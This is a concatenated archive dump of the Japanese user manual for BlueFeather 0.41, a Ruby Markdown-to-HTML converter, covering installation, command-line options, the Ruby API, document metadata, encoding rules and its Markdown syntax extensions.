<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Test Document</title>
<link rel="stylesheet" type="text/css" href="style.css" />
</head>
<body>

<p>Test paragraph.</p>

</body>
</html>

メタデータについての詳細は、メタデータリファレンスを参照してください。

標準入力からの読み込み(stdin-mode)

ファイル名を - とだけ指定すると特殊な動作モードになり、標準入力からテキストを読み込み、変換結果のhtmlを標準出力へ書き込みます。 パイプラインを用いるときなどに便利です。

% bluefeather -

コマンドラインオプション

-e NAME, --encoding NAME
変換するテキストファイルのエンコーディングを、指定したエンコーディングとして解釈します。 (shift-jis / euc-jp / utf-8 / ascii のうちいずれか、もしくは最初の数文字。標準では utf-8
-f TYPE, --format TYPE
出力するhtmlの種別を特定します。 text, bftext ならhtml片を、 document, bfdoc なら完全なhtml文書を出力します。 (標準ではファイルの拡張子から自動判別)
--force
入力ファイルの更新日時に関わらず、全てのファイルを変換します。(標準では入力ファイルが新しくなっている場合のみ変換)
-h, --help
bluefeather コマンドの解説を表示します。
-o DIR, --output DIR
指定したディレクトリに全てのファイルを生成します。(標準ではパース対象のファイルと同じ位置に生成)
-q, --quiet
動作時に作業の状況や結果を表示しません。
--suffix .SUF
出力するファイルの拡張子を指定します。(標準は.html)
-v, --verbose
冗長フラグ。作業内容を詳細に表示します。
--version
BlueFeather のバージョンを表示します。

Rubyスクリプト内で使う

基本

もっとも基本的なメソッドは、BlueFeather.parse です。 このメソッドにより、BlueFeatherを用いて文字列をパースし、htmlに変換することができます。

require 'bluefeather'

str = "もっとも基本的な例です。"
puts BlueFeather.parse(str)      #=> "<p>もっとも基本的な例です。</p>"

また、BlueFeather.parse_file を使えば、ファイルの中にある文字列を読み込んでパースすることができます。

BlueFeather.parse_file('test1.txt')
BlueFeather.parse_file('test2.markdown')
BlueFeather.parse_file('test3.bftext')

HTML文書の生成

parseparse_file メソッドの代わりに、parse_documentparse_document_file メソッドを用いることによって、HTML片ではなく完全なHTML文書を生成することが可能です。

test.bfdoc
The sentence is expected as HTML.
test.rb
require 'bluefeather'

puts '-- parse_file --'
puts BlueFeather.parse_file('test.bfdoc')

puts '-- parse_document_file --'
puts BlueFeather.parse_document_file('test.bfdoc')
実行結果
-- parse_file --
<p>The sentence is expected as HTML.</p>

-- parse_document_file --
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>no title (Generated by BlueFeather)</title>
</head>
<body>

<p>The sentence is expected as HTML.</p>

</body>
</html>

文書のメタデータ取得

文書をパースして直接 html を生成するのではなく、BlueFeather::Document オブジェクトを生成することにより、その文書のメタデータを取得することができます。

doc = BlueFeather::Document.parse(<<EOS)
Title: test document
CSS: style.css

test paragraph.
EOS

p doc['title']     # => "test document"
p doc['css']       # => "style.css"
p doc[:css]        # => "style.css"
p doc['undefined'] # => nil

p doc.body         # => "test paragraph."

この BlueFeather::Document オブジェクトから実際に html を生成するには、 to_html メソッドを呼んでください。

doc.to_html
bluefeather-0.41/doc/encoding-rule.html0000644000004100000410000000503612122140072020135 0ustar www-datawww-data エンコーディングの取り扱い - BlueFeather マニュアル

エンコーディングの取り扱い

1. HTML片へ変換するとき

(拡張子 *.bftext のファイル変換、parse_text による変換など)

特殊な処理を行いません。ruby 1.8.x 以前であればそのときの $KCODE が、ruby 1.9.x 以降であれば文字列の持つエンコーディングが反映されます。

bluefeather コマンドでは、-e (--encoding) オプションの指定に従います。指定がなければ UTF-8 です。

2. 完全なHTML文書へ変換するとき

(拡張子 *.bfdoc のファイル変換、parse_document による変換など)

以下の優先順序に従います。

  1. 文書メタデータの Encoding ヘッダ(最優先)
  2. 変換時に指定したエンコーディング
  3. UTF-8

「1. 文書メタデータの Encoding ヘッダ」についての詳細は、メタデータリファレンス内の説明を参照してください。

「2. 変換時に指定したエンコーディング」とは、以下のものを指します。

  • bluefeather コマンドによる変換時は、 -e (--encoding) オプションで指定したエンコーディング。
  • parse_document メソッドや parse_document_file メソッドによる変換時は、メソッドの第二引数(default_enc)で指定したエンコーディング。
bluefeather-0.41/doc/base.css0000644000004100000410000000224212122140072016134 0ustar www-datawww-databody { font-size : medium; line-height : 1.4em; margin : 3em 10%; } div.back{ text-align: right; } /* \ */ table{ font-size : 1.0em; margin-left : 1.0em; } th { border-style : outset; } /* oEi */ h1,h2,h3,h4,h5,h6 { line-height : 1.0em; } h1 { font-size : xx-large; } h2 { font-size : x-large; margin-top : 4em; } h3 { font-size : large; margin-top: 3em; } /* \bhꗗp */ h2 + h2, h3 + h3{ margin-top: 0.2em; } p { margin-left : 2em; } /* Xg */ li { margin-bottom : 0.6em; } dl { margin-left : 2.0em; } dt { font-weight : bold; } dd { margin-left : 2.0em; margin-bottom : 0.5em; } ul, ol, dl{ margin: 2.0em; } ul ul{ margin: 0.5em; } li p{ margin-left: 0.1em; } /* pׂ */ blockquote, pre{ margin-left: 3em; margin-bottom: 3em; } blockquote p{ margin-left: 0.5em; } pre { padding: 1em; } address { text-align : right; font-style: normal; } em { font-weight : bold; font-style : normal; } pre code{ margin: 0; } hr { } div.layer { padding-left : 1.5em; } div.link { font-size : 1.2em; font-weight : bold; margin-top : 2.0em; margin-left : 0.5em; }bluefeather-0.41/doc/basic-usage.bfdoc0000644000004100000410000002146112122140072017676 0ustar www-datawww-dataTitle: インストール・基本的な使い方 - BlueFeather マニュアル CSS: black.css インストール・基本的な使い方 ==== この文書では、BlueFeather そのものの使い方について記述しています。 BlueFeather が解釈する Markdown 記法への独自拡張については、[Markdown 記法の拡張](format-extension.html)を参照してください。 {toc} インストール ---- 同梱の setup.rb を実行することにより、ファイルが適切な位置にコピーされ、インストールが完了します。 % ruby setup.rb もしくは、RubyGems がインストールされていれば、インターネットに接続されたPCから次のように打ち込むことでインストールすることも可能です。 % gem install bluefeather コマンドラインから使う ---- ### 基本 インストールが正常に終了していれば、`bluefeather` コマンドを使って、Markdown記法で書かれたファイルを変換することができます。 インターフェースは以下の通りです。 bluefeather [options] file1 [file2] [file3] ... たとえば、次のように入力することで、拡張子が `.bftext` のファイル全てをhtmlファイルに変換することができます。 % bluefeather *.bftext example1.bftext => example1.html (4240 byte) example2.bftext => example2.html (5613 byte) example3.bftext => example3.html (10499 byte) % ### 強制変換オプション(`--force`) 通常 `bluefeather` コマンドは、_入力テキストファイルが更新されていたときのみ_(更新日時が新しくなっていたときのみ)変換を行います。 % bluefeather example1.bftext example1.bftext => example1.html (4240 byte) % bluefeather example1.bftext % 更新日時に関わらず全てのファイルを変換したい場合には、`--force` オプションをつけて実行してください。 % bluefeather example1.bftext example1.bftext => example1.html (4240 byte) % bluefeather --force example1.bftext example1.bftext => example1.html (4240 byte) % この他のオプションの種類については、この文書内の[コマンドラインオプション](#commandline-options)の項を参照してください。 ### 拡張子による出力htmlの違い `bluefeather` コマンドでは、変換対象のファイルの拡張子によって、どのようなhtmlファイルを出力するかが異なります。 `.md`, `.bfdoc` :DTD宣言やhead要素などを含んだ、完全なHTML文書を生成する それ以外 :HTML片を生成する(DTD宣言やhead要素は含まない) たとえば、次のような一文だけが書かれたテキストファイルがあるとします。 test paragraph. このテキストファイルが `test1.bftext` という名前であれば、変換結果(`test1.html`)はこのようになります。

test paragraph.

しかし、もしこのファイルが `test1.bfdoc` という名前であれば、上記の例と異なり_完全なHTML文書を生成します。_ no title (Generated by BlueFeather)

test paragraph.

なお、このとき変換する文書にレベル1の見出しが含まれていれば、_その見出しが自動的にhtml文書のtitleとして使われます。_ test2.bfdoc : Test Document ============= test paragraph. test2.html(出力結果) : Test Document

Test Document

test paragraph.

### 文書メタデータ 拡張子が `.bfdoc` や `.md` のファイルには、文書メタデータを付け加えることが出来ます。 test3.bfdoc : Title: Test Document CSS: style.css Test paragraph. test3.html : Test Document

Test paragraph.

メタデータについての詳細は、[メタデータリファレンス](metadata-reference.html)を参照してください。 ### 標準入力からの読み込み(stdin-mode) ファイル名を `-` とだけ指定すると特殊な動作モードになり、標準入力からテキストを読み込み、変換結果のhtmlを標準出力へ書き込みます。 パイプラインを用いるときなどに便利です。 % bluefeather - ### コマンドラインオプション {#commandline-options} `-e NAME`, `--encoding NAME` : 変換するテキストファイルのエンコーディングを、指定したエンコーディングとして解釈します。 (`shift-jis` / `euc-jp` / `utf-8` / `ascii` のうちいずれか、もしくは最初の数文字。標準では `utf-8`) `-f TYPE`, `--format TYPE` : 出力するhtmlの種別を特定します。 `text`, `bftext` ならhtml片を、 `document`, `bfdoc` なら完全なhtml文書を出力します。 (標準ではファイルの拡張子から自動判別) `--force` : 入力ファイルの更新日時に関わらず、全てのファイルを変換します。(標準では入力ファイルが新しくなっている場合のみ変換) `-h`, `--help` : `bluefeather` コマンドの解説を表示します。 `-o DIR`, `--output DIR` : 指定したディレクトリに全てのファイルを生成します。(標準ではパース対象のファイルと同じ位置に生成) `-q`, `--quiet` : 動作時に作業の状況や結果を表示しません。 `--suffix .SUF` : 出力するファイルの拡張子を指定します。(標準は.html) `-v`, `--verbose` : 冗長フラグ。作業内容を詳細に表示します。 `--version` : BlueFeather のバージョンを表示します。 Rubyスクリプト内で使う ---- ### 基本 もっとも基本的なメソッドは、`BlueFeather.parse` です。 このメソッドにより、BlueFeatherを用いて文字列をパースし、htmlに変換することができます。 require 'bluefeather' str = "もっとも基本的な例です。" puts BlueFeather.parse(str) #=> "

もっとも基本的な例です。

" また、`BlueFeather.parse_file` を使えば、ファイルの中にある文字列を読み込んでパースすることができます。 BlueFeather.parse_file('test1.txt') BlueFeather.parse_file('test2.markdown') BlueFeather.parse_file('test3.bftext') ### HTML文書の生成 ### `parse` や `parse_file` メソッドの代わりに、`parse_document` や `parse_document_file` メソッドを用いることによって、HTML片ではなく_完全なHTML文書を生成する_ことが可能です。 test.bfdoc : The sentence is expected as HTML. test.rb : require 'bluefeather' puts '-- parse_file --' puts BlueFeather.parse_file('test.bfdoc') puts '-- parse_document_file --' puts BlueFeather.parse_document_file('test.bfdoc') 実行結果 : -- parse_file --

The sentence is expected as HTML.

-- parse_document_file -- no title (Generated by BlueFeather)

The sentence is expected as HTML.

### 文書のメタデータ取得 ### 文書をパースして直接 html を生成するのではなく、`BlueFeather::Document` オブジェクトを生成することにより、その文書のメタデータを取得することができます。 doc = BlueFeather::Document.parse(< "test document" p doc['css'] # => "style.css" p doc[:css] # => "style.css" p doc['undefined'] # => nil p doc.body # => "test paragraph." この `BlueFeather::Document` オブジェクトから実際に html を生成するには、 `to_html` メソッドを呼んでください。 doc.to_htmlbluefeather-0.41/doc/author-and-license.html0000644000004100000410000000340412122140072021061 0ustar www-datawww-data 連絡先・ライセンス - BlueFeather マニュアル

連絡先・ライセンス

BlueFeather は、改変元である BlueCloth のライセンス(利用条件)に基づき、General Public License(GPL)バージョン 2 (またはそれ以降)の元で配布されるフリーソフトウェアです。 詳しくは、bluefeather.rb のファイル頭にある著作権表示、および同梱の license/ ディレクトリ内にある GPL 公衆利用許諾契約書を参照してください。

BlueFeather への要望、ご意見、バグ報告などがありましたら、BlueFeather 配布サイトよりメッセージを送信していただくか、もしくは Dice(mailto:tetradice@gmail.com)までメールでご連絡していただけるよう、よろしくお願いします。

bluefeather-0.41/doc/metadata-reference.bfdoc0000644000004100000410000001044112122140072021223 0ustar www-datawww-dataTitle: メタデータリファレンス - BlueFeather マニュアル CSS: black.css メタデータリファレンス ==== 文書ファイル(*.bfdoc)の頭に、`:` 記号で区切られたキーと値の組(ヘッダー)を書いておくことで、その文書にタイトルなどの情報(メタデータ)を付け加えることができます。 Title: 文書名 CSS: style.css Atom-Feed: info/atom.xml ここから本文 これらの文書メタデータは、`parse_document` や `parse_document_file` などのメソッドを使って解釈したときにのみ有効です。 キー名の大文字/小文字は区別されません。 {toc} 重要なメタデータ ---- ### CSS: {#css} CSS: http://example.net/style.css CSS スタイルシートの URL。生成される html 文書の head 要素内に、そのスタイルシートへのリンクが付け加えられる。 ### Encoding: {#encoding} Encoding: utf-8 その文書のマルチバイトエンコーディングを表す。utf-8, euc-jp, shift_jis (shift-jis), ascii のいずれかが有効(小文字と大文字は区別しない)。 html の head 要素内に出力される Content-Type の値、および変換処理に影響する。 なお、他のヘッダーの値をマルチバイト文字列で記述する場合、 *Encoding はそれらのヘッダーよりも先に記述されていなければならない。* そのため、このヘッダーは常に文書ファイルの最初に記述しておくことが推奨される。 省略された場合には、*エンコーディングが UTF-8 であるものとして取り扱う。* ### Title: {#title} Title: にんじんの美味しい調理法 その文書の名前(表題)。生成されるhtml文書の title 要素に、ここで指定した値が使われる。 省略された場合には、本文中にレベル1の見出し(h1)があればその内容を title 要素とし、なければ「no title」とする。 補助的なメタデータ ---- ### Atom-Feed: {#atom-feed} ### RDF-Feed: {#rdf-feed} ### RSS-Feed: {#rss-feed} Atom-Feed: example.xml ニュースフィードの URL。生成される html 文書の head 要素内に、以下のようなリンクが付け加えられ、RSS リーダーなどでそのページを簡単に登録できるようになる(オートディスカバリー)。 どのヘッダー名を用いるかによって、生成される link 要素の type 属性値が異なる。 基本的には RSS 1.0 なら RDF-Feed を、RSS 2.0 なら RSS-Feed を、Atom (Atom Syndication Format) なら Atom-Feed を使うことが推奨される。 ### Description: {#description} Description: 簡単にチャレンジできる、にんじんの美味しい調理法についての解説。 その文書の説明。`` の内容になる。 ### Keywords: {#keywords} Keyword: にんじん,レシピ,料理 その文書を表すキーワード。`` の内容になる。 ### Numbering: {#numbering} Numbering: yes *BlueFeather 0.30以降*でのみ有効。 yes, true, on, 1のいずれかを指定すると、レベル2以降の見出し(h2~h6)に、自動で番号が振られるようになる。 使用例: Numbering: yes # 見出し1 ## 見出し2a ## 見出し2b ### 見出し3a ### 見出し3b ## 見出し2c ~

見出し1

1. 見出し2a

2. 見出し2b

2.1. 見出し3a

2.2. 見出し3b

3. 見出し2c

### Numbering-Start-Level: {#numbering-start-level} Numbering: yes Numbering-Start-Level: 3 *BlueFeather 0.30以降*でのみ有効。 見出しへの番号付けを行うとき、どのレベルの見出しから番号付けの対象とするのかを指定する。 [Numbering:](#numbering)ヘッダーと同時に使われているときのみ有効。 省略した場合、レベル2以降の見出し(h2~h6)が番号付けの対象になる。bluefeather-0.41/doc/format-extension.html0000644000004100000410000003711012122140072020702 0ustar www-datawww-data Markdown記法の拡張 - BlueFeather マニュアル

Markdown記法の拡張

BlueFeatherでは、従来のMarkdown記法に加え、PHP Markdown Extraなどから多くの拡張を取り込んでいます。

PHP Markdown Extra

定義リスト(dl)

定義語と : 記号から始まる説明文の組み合わせは、定義リストとして変換されます。

みかん
: オレンジ色で甘酸っぱい。

りんご
: 赤くて甘い。
みかん
オレンジ色で甘酸っぱい。
りんご
赤くて甘い。

定義語や説明文は、それぞれ複数重ねることもできます。

みかん
: オレンジ色。
: 甘酸っぱい。

りんご
アップル
: 赤くて甘い。
みかん
オレンジ色。
甘酸っぱい。
りんご
アップル
赤くて甘い。

また、定義語と説明文の間に空行を挟むと、説明文を段落(p要素)にすることができます。 さらにその後にインデント付きで、他のブロック要素(リストなど)を含めることもできます。

みかん

: オレンジ色で甘酸っぱく、ジュースにもなる。

りんご

: 以下のような特徴を持つ。

    * 甘い
    * 見た目は赤くて丸い(青いのもある)
    * 皮にも栄養がある
みかん

オレンジ色で甘酸っぱく、ジュースにもなる。

りんご

以下のような特徴を持つ。

  • 甘い
  • 見た目は赤くて丸い(青いのもある)
  • 皮にも栄養がある

脚注

次のように書くことで、任意の箇所に脚注を付けることができます。

チャルメラ醤油味は、卵を入れる[^1]と美味しく作ることができる。

[^1]: できあがり直前に弱火にしてから割り入れて、短時間だけ煮込むのがコツ。

チャルメラ醤油味は、卵を入れる[1]と美味しく作ることができる。

脚注の定義(できあがり直前に~)は、文書中のどこに書いても構いません。

また、脚注には番号でなく、任意のIDを付けることもできます。 その場合であっても、ブラウザ上の表示ではIDに関わらず連番が振られます。

チャルメラとんこつ味には、もやし[^moyashi]がよく合う。

[^moyashi]: 歯応え重視で太めのもやしを選ぶのがお奨め。

チャルメラとんこつ味には、もやし[2]がよく合う。

ID付き見出し

任意の見出し(h*要素)の後ろに次のように書くことにより、その見出しにIDを付け、リンクすることが出来ます。

レシピ {#recipe}
----

[「レシピ」の項](#recipe)を参照してください。
## レシピ ## {#recipe}

[「レシピ」の項](#recipe)を参照してください。

レシピ

「レシピ」の項を参照してください。

なお、見出しの内容とID記述の間には空白を入れても構いませんが、ID記述の直後に改行以外を入れてはいけません。

仕切り付きコードブロック

~~~
3つ以上のチルダ記号(~)がある行から、同じ数のチルダ記号がある行までは
丸ごとコードブロックとして扱われます。
~~~
3つ以上のチルダ記号(~)がある行から、同じ数のチルダ記号がある行までは
丸ごとコードブロックとして扱われます。

表組み

パイプ記号(|)でセルを区切ることで、表組みを作ることができます。 1行目に項目名(ヘッダ)を、2行目に項目名とデータの区切りを、3行目以降にデータを記入してください。

|名前  |色      |個数|


3e7f357d60f9294f22d53da11c533a4d


名前 個数
りんご 8
みかん オレンジ 32

右端のパイプ記号や、セルの見た目を揃えるための空白は省略可能です。そのため、以下の例はどちらも有効です。

|名前  |色      |個数


3e7f357d60f9294f22d53da11c533a4d





41c743822aad8b2633eb368791a3de83


ただし、PHP Markdown Extraと異なり、左端のパイプ記号は省略することができません。ご注意ください。

2行目の区切り部、右端にコロン記号(:)を付けることにより、その列を右寄せにすることができます。 また、両端に同じ記号を付けると中央寄せになります。

|名前  |色      |個数|


8894f831376be36f9e7e9cb4bcb095a5


名前 個数
りんご 8
みかん オレンジ 32

PHP Markdown Extra との違い

  • PHP Markdown Extra ではブロック要素のHTMLタグをインデントできるように変更されていますが、BlueFeather ではインデントは許可されません(本家 Markdown と同じ)。

  • PHP Markdown Extra では、以下のような記述のときには強調を行わない仕様になっています。

    Please open the folder "secret_magic_box".
    

    ですが、BlueFeather ではこの場合でも強調を行います(本家 Markdown と同じ)。

  • Markdown Inside HTML Blocks (HTML内でのMarkdown記法)、およびAbbreviations(略語定義)には対応していません。

  • 表組みの左側のパイプ記号(ボーダー)は必須です。

独自拡張

目次

行頭に {toc} と記入することにより、その位置に目次(テキスト内にある見出しの一覧)を表示させることができます。

{toc}

また、どのレベルからの見出しを目次に含めるかを指定することもできます。 たとえば、次の例であれば、h1 ~ h2 は無視され、h3 ~ h6 のみが目次に含まれます。

{toc:h3..}

指定がなかった場合には、標準で h2 ~ h6 が目次に含まれます。

見出しレベルの指定には、以下のような書き方を使うことができます。

{toc:h3-}    (上記の例と同じ)
{toc:h3}     (h3 のみ)
{toc:h3..h4} (h3 ~ h4)
{toc:..h4}   (h2 ~ h4)

なお、目次にリストアップされるのは、Markdown記法の変換によって生成され、なおかつ他のブロック要素に含まれていない見出しのみです。 つまり、次のような見出しは目次に含まれません。

<h2>目次に含まれない見出し</h2>

> ## 目次に含まれない見出し ##

強制ブロック区切り

通常、リストやコードブロックは、間に空行があっても一つのブロックに結合されます。 しかし、連続して2つ以上のリストを置きたい場合など、この動作を抑制したいケースがあります。

1. リスト1項目1
2. リスト1項目2
3. リスト1項目3

1. リスト2項目1
2. リスト2項目2
3. リスト2項目3
<ol>
<li>リスト1項目1</li>
<li>リスト1項目2</li>
<li><p>リスト1項目3</p></li>
<li><p>リスト2項目1</p></li>
<li>リスト2項目2</li>
<li>リスト2項目3</li>
</ol>

ひとつの解決策は、間に水平線を挟むことです。

1. リスト1項目1
2. リスト1項目2
3. リスト1項目3

----

1. リスト2項目1
2. リスト2項目2
3. リスト2項目3
<ol>
<li>リスト1項目1</li>
<li>リスト1項目2</li>
<li>リスト1項目3</li>
</ol>

<hr />

<ol>
<li>リスト2項目1</li>
<li>リスト2項目2</li>
<li>リスト2項目3</li>
</ol>

しかし、水平線を使わずに区切りたい場合もあるでしょう。 そういった場合、BlueFeather では行にチルダ記号(~)を1つだけ置くことで、その行でリストやコードブロックを強制的に区切ることができます。

~

たとえば、次のように使うことが出来ます。

1. リスト1項目1
2. リスト1項目2
3. リスト1項目3

~

1. リスト2項目1
2. リスト2項目2
3. リスト2項目3
<ol>
<li>リスト1項目1</li>
<li>リスト1項目2</li>
<li>リスト1項目3</li>
</ol>

<ol>
<li>リスト2項目1</li>
<li>リスト2項目2</li>
<li>リスト2項目3</li>
</ol>

  1. できあがり直前に弱火にしてから割り入れて、短時間だけ煮込むのがコツ。

  2. 歯応え重視で太めのもやしを選ぶのがお奨め。

bluefeather-0.41/doc/author-and-license.bfdoc0000644000004100000410000000207512122140072021175 0ustar www-datawww-dataTitle: 連絡先・ライセンス - BlueFeather マニュアル CSS: black.css 連絡先・ライセンス ==== BlueFeather は、改変元である BlueCloth のライセンス(利用条件)に基づき、General Public License(GPL)バージョン 2 (またはそれ以降)の元で配布されるフリーソフトウェアです。 詳しくは、`bluefeather.rb` のファイル頭にある著作権表示、および同梱の `license/` ディレクトリ内にある GPL 公衆利用許諾契約書を参照してください。 * [Wikipedia - GNU General Public License](http://ja.wikipedia.org/wiki/GNU_General_Public_License) BlueFeather への要望、ご意見、バグ報告などがありましたら、[BlueFeather 配布サイト](http://ruby.morphball.net/bluefeather/)よりメッセージを送信していただくか、もしくは Dice()までメールでご連絡していただけるよう、よろしくお願いします。bluefeather-0.41/doc/difference.bfdoc0000644000004100000410000000534312122140072017606 0ustar www-datawww-dataTitle: BlueClothとの主な違い - BlueFeather マニュアル CSS: black.css BlueClothとの主な違い ==== {toc} 記法の拡張 ---- [PHP Markdown Extra][]から多くの拡張(定義リスト、表組み、など)を取り込み、さらに目次生成や強制ブロック区切りなどの独自拡張を実装しています。 詳しくは[Markdown記法の拡張](format-extension.html)を参照してください。 インターフェースの変更 ---- BlueCloth では、文字列を継承した BlueCloth クラスのオブジェクトを生成し、そのオブジェクトに対して to_html を呼ぶことで変換を行います。 require 'bluecloth' puts BlueCloth.new(str).to_html 対して BlueFeather では、 BlueFeather モジュールのメソッドを直接呼んで変換を行うのが、もっとも一般的な方法です。 require 'bluefeather' puts BlueFeather.parse(str) また、`parse_file` や `parse_document` など、いくつかのメソッドが新設されています。 詳しくは[基本的な使い方](basic-usage.html)を参照してください。 完全なHTML文書の生成 ---- [Maruku][] から取り込んだ機能として、部分的なhtml片だけではなく、DTD宣言やhead要素まで含んだ完全なhtml文書を生成できる機能があります。 また、メタデータを記述することにより、出力されるhtml文書のタイトルや、CSSファイルのURLも指定することが可能です。 詳しくは[基本的な使い方](basic-usage.html)、及び[メタデータリファレンス](metadata-reference.html)を参照してください。 BlueCloth 1.0.0 における既知のバグの修正 ---- 以下のバグの修正を行いました。 1. 一部の正規表現に、文字コード Shift-JIS が指定されている(= Shift-JIS 以外のマルチバイト文字列を正しく扱えない) 2. 一部の文字が含まれていると、`` 形式の記述が mailto: リンクとして変換されない(GMailのエイリアス文字 `+` など) 3. リンクID定義を、4つ以上のスペースやタブでインデントしてもコードブロックにできない 4. 水平線(`
`)タグを、4つ以上のスペースやタブでインデントしてもコードブロックにできない 空要素タグの閉じ方を変更 ---- BlueCloth で `` となっていた空要素タグの終端を、`` に変更しました。 [Maruku]: http://maruku.rubyforge.org/ [PHP Markdown Extra]: http://michelf.com/projects/php-markdown/extra/bluefeather-0.41/doc/class-reference.html0000644000004100000410000002742312122140072020447 0ustar www-datawww-data クラスリファレンス - BlueFeather マニュアル

クラスリファレンス

このリファレンス内では、BlueFeather が拡張した Markdown 記法のことを指して「BFMarkdown 記法」と書く。

BlueFeather モジュール

BlueFeather.parse(str)

BlueFeather.parse_text(str)

BFMarkdown 記法で書かれた文字列をパースして、結果のHTML片(String)を返す。

BlueFeather.parse_file(path)

BlueFeather.parse_text_file(path)

ファイル path の内容を読み取ってパースし、結果のHTML片(String)を返す。以下の記述と同じ。

BlueFeather.parse_text(File.read(path))

BlueFeather.parse_document(str, default_enc = EncodingType::UTF8)

BFMarkdown 記法で書かれた文字列をパースして、結果のHTML文書を返す。

default_enc は EncodingType 定数で指定することができる。 詳細についてはエンコーディングの取り扱いを参照。

BlueFeather.parse_document_file(path, default_enc = EncodingType::UTF8)

ファイル path の内容を読み取ってパースし、結果のHTML文書を返す。以下の記述と同じ。

BlueFeather.parse_document(File.read(path), default_enc)

BlueFeather::VERSION

BlueFeather::VERSION_NUMBER

BlueFeather のバージョンを表す定数。VERSION は文字列、VERSION_NUMBER は小数(Float)である。

BlueFeather::Document クラス

文書のメタデータと Markdown テキストの組を保持するクラス。

Document.parse(str, default_enc = EncodingType::UTF8)

BFMarkdown記法で書かれた文字列をパースして、Document オブジェクトを返す。この時点ではテキストの変換は行わない。

default_enc は EncodingType 定数で指定することができる。 詳細についてはエンコーディングの取り扱いを参照。

Document.parse_io(io, default_enc = EncodingType::UTF8)

引数として IO オブジェクトを受け取ること以外は Document.parse と同じ。

Document.new(headers = {}, body = '')

メタデータ(Hash)とテキスト(String)から、Document オブジェクトを生成して返す。この時点ではテキストの変換は行わない。

headers

body

その文書が持つメタデータ(Hash)と元テキスト(String)へのアクセサ。

self[key]

self[key] = value

メタデータの値を取得/設定する。key は Symbol か String で、小文字と大文字は区別されない。

title

css

それぞれ doc['title'], doc['css'] と同じ。

encoding_type

その文書のエンコーディングを取得する。返り値は EncodingType モジュール内の定数か、もしくは nil。

to_html

その文書をHTML文書に変換する。返り値は String。

BlueFeather::Parser クラス

BFMarkdown 記法で書かれたテキストをパースするためのクラス。 BlueFeather.parse などのメソッドでは、内部的に Parser を生成して使用している。

Parser.new(*restrictions)

Parser オブジェクトを生成する。*restrictions には以下の Symbol を与えることができる。

:filter_html
変換前にすべてのHTMLタグをエスケープする(=HTMLタグの記述を無効化する)。

parse(str)

parse_text(str)

parse_document(str)

parse_file(path)

parse_text_file(path)

parse_document_file(path)

それぞれ BlueFeather モジュールに定義された同名のメソッドと同じ。

use_header_id

use_header_id = bool

見出しにIDを付ける機能を有効にするかどうかのスイッチ(標準では true)。この機能をオフにすると、BFMarkdown の目次は利用できない。

display_warnings

display_warnings = bool

BlueFeather では不正なIDなどを見つけたときに、出力されるHTMLの中に警告を含める機能がある。これを有効にするかどうかのスイッチ(標準では true)。

BlueFeather::EncodingType モジュール

UTF8, UTF_8

EUC, EUCJP, EUC_JP

SJIS, SHIFT_JIS

ASCII, US_ASCII

BlueFeather におけるエンコーディングの種類を表す定数(String)。

bluefeather-0.41/doc/class-reference.bfdoc0000644000004100000410000001137512122140072020557 0ustar www-datawww-dataTitle: クラスリファレンス - BlueFeather マニュアル CSS: black.css クラスリファレンス ==== このリファレンス内では、BlueFeather が拡張した Markdown 記法のことを指して「BFMarkdown 記法」と書く。 {toc} `BlueFeather` モジュール ---- ### `BlueFeather.parse(str)` {#parse_text} ### `BlueFeather.parse_text(str)` BFMarkdown 記法で書かれた文字列をパースして、結果のHTML片(String)を返す。 ### `BlueFeather.parse_file(path)` {#parse_text_file} ### `BlueFeather.parse_text_file(path)` ファイル `path` の内容を読み取ってパースし、結果のHTML片(String)を返す。以下の記述と同じ。 BlueFeather.parse_text(File.read(path)) ### `BlueFeather.parse_document(str, default_enc = EncodingType::UTF8)` {#parse_document} BFMarkdown 記法で書かれた文字列をパースして、結果のHTML文書を返す。 default_enc は [EncodingType 定数](#EncodingType)で指定することができる。 詳細については[エンコーディングの取り扱い](encoding-rule.html)を参照。 ### `BlueFeather.parse_document_file(path, default_enc = EncodingType::UTF8)` {#parse_document_file} ファイル `path` の内容を読み取ってパースし、結果のHTML文書を返す。以下の記述と同じ。 BlueFeather.parse_document(File.read(path), default_enc) ### `BlueFeather::VERSION` ### `BlueFeather::VERSION_NUMBER` BlueFeather のバージョンを表す定数。VERSION は文字列、VERSION_NUMBER は小数(Float)である。 `BlueFeather::Document` クラス ---- 文書のメタデータと Markdown テキストの組を保持するクラス。 ### `Document.parse(str, default_enc = EncodingType::UTF8)` {#Document-parse} BFMarkdown記法で書かれた文字列をパースして、Document オブジェクトを返す。この時点ではテキストの変換は行わない。 default_enc は [EncodingType 定数](#EncodingType)で指定することができる。 詳細については[エンコーディングの取り扱い](encoding-rule.html)を参照。 ### `Document.parse_io(io, default_enc = EncodingType::UTF8)` {#Document-parse_io} 引数として IO オブジェクトを受け取ること以外は [`Document.parse`](#Document-parse) と同じ。 ### `Document.new(headers = {}, body = '')` メタデータ(Hash)とテキスト(String)から、Document オブジェクトを生成して返す。この時点ではテキストの変換は行わない。 ### `headers` ### `body` その文書が持つメタデータ(Hash)と元テキスト(String)へのアクセサ。 ### `self[key]` ### `self[key] = value` メタデータの値を取得/設定する。`key` は Symbol か String で、小文字と大文字は区別されない。 ### `title` ### `css` それぞれ `doc['title']`, `doc['css']` と同じ。 ### `encoding_type` その文書のエンコーディングを取得する。返り値は EncodingType モジュール内の定数か、もしくは nil。 ### `to_html` その文書をHTML文書に変換する。返り値は String。 `BlueFeather::Parser` クラス ---- BFMarkdown 記法で書かれたテキストをパースするためのクラス。 `BlueFeather.parse` などのメソッドでは、内部的に Parser を生成して使用している。 ### `Parser.new(*restrictions)` Parser オブジェクトを生成する。`*restrictions` には以下の Symbol を与えることができる。 \:filter_html : 変換前にすべてのHTMLタグをエスケープする(=HTMLタグの記述を無効化する)。 ### `parse(str)` ### `parse_text(str)` ### `parse_document(str)` ### `parse_file(path)` ### `parse_text_file(path)` ### `parse_document_file(path)` それぞれ BlueFeather モジュールに定義された同名のメソッドと同じ。 ### `use_header_id` ### `use_header_id = bool` 見出しにIDを付ける機能を有効にするかどうかのスイッチ(標準では true)。この機能をオフにすると、BFMarkdown の目次は利用できない。 ### `display_warnings` ### `display_warnings = bool` BlueFeather では不正なIDなどを見つけたときに、出力されるHTMLの中に警告を含める機能がある。これを有効にするかどうかのスイッチ(標準では true)。 `BlueFeather::EncodingType` モジュール 